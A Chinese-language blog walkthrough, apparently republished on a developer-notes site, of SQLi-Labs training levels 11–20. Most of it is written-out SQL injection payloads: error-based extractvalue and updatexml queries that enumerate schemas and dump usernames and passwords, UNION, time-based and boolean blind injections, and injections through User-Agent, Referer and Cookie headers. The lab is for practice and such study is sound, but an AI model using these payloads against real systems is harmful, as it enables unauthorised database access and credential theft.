热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

sqlilabs(1120)

less-11本关还可以使用union联合查询注入和盲注(1)使用burpsuite抓包,修改参数构造payload。输入unameadminand11--+&passwdadmi

less-11

本关还可以使用union联合查询注入和盲注

(1)使用burpsuite抓包,修改参数构造payload。

输入uname=admin' and 1=1--+&passwd=admin&submit=Submit

 可以登录

(2)输入uname=admin' and 1=2--+&passwd=admin&submit=Submit

发现无法登录,说明注入有效,存在报错型注入,接下来又是重复性的工作,上extractvalue()

(3)爆库

uname=admin' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)))--+&passwd=admin&submit=Submit //通过不断改变limit x,1中x的值就可以爆出数据库中所以的库

 (4)查看当前数据库

uname=admin' and extractvalue(1,concat(0x7e,(select database())))--+&passwd=admin&submit=Submit

 (5)爆表

uname=admin' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))--+&passwd=admin&submit=Submit

(6)爆列

uname=admin' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)))--+&passwd=admin&submit=Submit

 (7)爆数据

uname=admin' and extractvalue(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1)))--+&passwd=admin&submit=Submit


 less-12

1、union联合查询注入

和less-11差不多,改一下闭合方式即可。使用双引号和括号进行闭合

uname=0") union select database(),user()--+&passwd=admin&submit=Submit

 2、报错注入

报错注入和less-11不太一样。查看源码

(1)可以看到sql查询语句语句:@sql="SELECT username,password FROM users WHERE username=($uname) and password=($password) LIMIT 0,1";构造一个能闭合语句而且会报错的payload:admin" and extractvalue(1,concat(0x7e,(select database()))) and "

(2)最终admin="admin" and extractvalue(1,concat(0x7e,(select database()))) and " "

    传入后就变成了:@sql="SELECT username,password FROM users WHERE username="admin" and extractvalue(1,concat(0x7e,(select database()))) and " " and password=($passwd) LIMIT 0,1";

    前闭合,中间查询,后面报错,应该是没有问题的这样可以回显:uname=admin" and " &passwd=123456&submit=Submit

 

 (3)使用extractvalue进行报错注入。

uname=admin" and extractvalue(1,concat(0x7e,database())) and " &passwd=123456&submit=Submit

后面老一套就不再重复了


less-13

登录之后发现没有回显信息,所以union联合注入行不通了,只能通过报错注入和盲注

 1、报错注入

uname=admin') and extractvalue(1,concat(0x7e,database())) and ('&passwd=123456&submit=Submit

 后面过程和前面一样


less-14

 和less-13差不多,只是闭合方式变了

uname=admin" and extractvalue(1,concat(0x7e,database())) and "&passwd=123456&submit=Submit

 


less-15

不论是正确登录,还是错误登录,都没有回显,那就时间延迟吧

错误登录不返回错误信息了,所以只能使用盲注

uname=admin' and if(substr(database(),1,1)='s',sleep(10),1)#&passwd=123456&submit=submit

 

 

 出现明显延迟。所以数据库的第一个字母为s

布尔盲注也可以

uname=adminn' or (database())='security'#&passwd=123456&submit=submit

 


less-16

把admin’换成admin’’)其他的步骤都一样


less-17

查看源码发现对uname做了check_input的处理,check_input()函数如下,看看是怎么处理的:

但是passwd参数没有做check_input处理,所以可以在passwd注入

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,database()),1)--+&submit=Submit

 

 

 

 


less-18


 

 登录成功后看到uer-agent的回显,猜测注入点在user-agent。

 

 查看源码发现passwd参数也做了check_input处理,又看到了inseert语句,他把user-agent插入到数据库,所以可以从这里下手,而且看到除开是单引号型,接下来开始爆破


 

 

 后面步骤一样,不在赘述


less-19

本题和上一题很像,回显是referer,查一下php文加可以发现,insert语句中向数据库插入了referer,所以注入点改为referer

Referer: ' and extractvalue(1,concat(0x7e,database())) and '

 


less-20

登录后页面显示

 

 查看源码,可以看到查询语句查询cookee,那我们就在COOKIEs里面进行注入

 

 

 看到COOKIE:uname=admin ,就可以以COOKIE注入了

(1)加单引号

 

 报错

(2)加双引号

 

 没有报错,所以是单引号型

(3)判断列数,输入' order by 3--+

 

 正常显示

(4)输入' order by 4--+

 

 报错,说明只有三列

(5)爆库

 

(6) 爆表

 COOKIE:uname=-admin' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema="security"  --+

 

 后面和前面一样,不在赘述。


原文链接:https://www.cnblogs.com/pursue-security/p/15362120.html



推荐阅读
  • 使用Ubuntu中的Python获取浏览器历史记录原文: ... [详细]
  • 本文详细介绍了SQL日志收缩的方法,包括截断日志和删除不需要的旧日志记录。通过备份日志和使用DBCC SHRINKFILE命令可以实现日志的收缩。同时,还介绍了截断日志的原理和注意事项,包括不能截断事务日志的活动部分和MinLSN的确定方法。通过本文的方法,可以有效减小逻辑日志的大小,提高数据库的性能。 ... [详细]
  • 本文介绍了数据库的存储结构及其重要性,强调了关系数据库范例中将逻辑存储与物理存储分开的必要性。通过逻辑结构和物理结构的分离,可以实现对物理存储的重新组织和数据库的迁移,而应用程序不会察觉到任何更改。文章还展示了Oracle数据库的逻辑结构和物理结构,并介绍了表空间的概念和作用。 ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • 本文主要解析了Open judge C16H问题中涉及到的Magical Balls的快速幂和逆元算法,并给出了问题的解析和解决方法。详细介绍了问题的背景和规则,并给出了相应的算法解析和实现步骤。通过本文的解析,读者可以更好地理解和解决Open judge C16H问题中的Magical Balls部分。 ... [详细]
  • 本文详细介绍了MysqlDump和mysqldump进行全库备份的相关知识,包括备份命令的使用方法、my.cnf配置文件的设置、binlog日志的位置指定、增量恢复的方式以及适用于innodb引擎和myisam引擎的备份方法。对于需要进行数据库备份的用户来说,本文提供了一些有价值的参考内容。 ... [详细]
  • 本文由编程笔记小编整理,介绍了PHP中的MySQL函数库及其常用函数,包括mysql_connect、mysql_error、mysql_select_db、mysql_query、mysql_affected_row、mysql_close等。希望对读者有一定的参考价值。 ... [详细]
  • Java String与StringBuffer的区别及其应用场景
    本文主要介绍了Java中String和StringBuffer的区别,String是不可变的,而StringBuffer是可变的。StringBuffer在进行字符串处理时不生成新的对象,内存使用上要优于String类。因此,在需要频繁对字符串进行修改的情况下,使用StringBuffer更加适合。同时,文章还介绍了String和StringBuffer的应用场景。 ... [详细]
  • 本文详细介绍了在ASP.NET中获取插入记录的ID的几种方法,包括使用SCOPE_IDENTITY()和IDENT_CURRENT()函数,以及通过ExecuteReader方法执行SQL语句获取ID的步骤。同时,还提供了使用这些方法的示例代码和注意事项。对于需要获取表中最后一个插入操作所产生的ID或马上使用刚插入的新记录ID的开发者来说,本文提供了一些有用的技巧和建议。 ... [详细]
  • 本文讨论了在数据库打开和关闭状态下,重新命名或移动数据文件和日志文件的情况。针对性能和维护原因,需要将数据库文件移动到不同的磁盘上或重新分配到新的磁盘上的情况,以及在操作系统级别移动或重命名数据文件但未在数据库层进行重命名导致报错的情况。通过三个方面进行讨论。 ... [详细]
  • Oracle10g备份导入的方法及注意事项
    本文介绍了使用Oracle10g进行备份导入的方法及相关注意事项,同时还介绍了2019年独角兽企业重金招聘Python工程师的标准。内容包括导出exp命令、删用户、创建数据库、授权等操作,以及导入imp命令的使用。详细介绍了导入时的参数设置,如full、ignore、buffer、commit、feedback等。转载来源于https://my.oschina.net/u/1767754/blog/377593。 ... [详细]
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
  • r2dbc配置多数据源
    R2dbc配置多数据源问题根据官网配置r2dbc连接mysql多数据源所遇到的问题pom配置可以参考官网,不过我这样配置会报错我并没有这样配置将以下内容添加到pom.xml文件d ... [详细]
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • 预备知识可参考我整理的博客Windows编程之线程:https:www.cnblogs.comZhuSenlinp16662075.htmlWindows编程之线程同步:https ... [详细]
author-avatar
手机用户2602887045_745
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有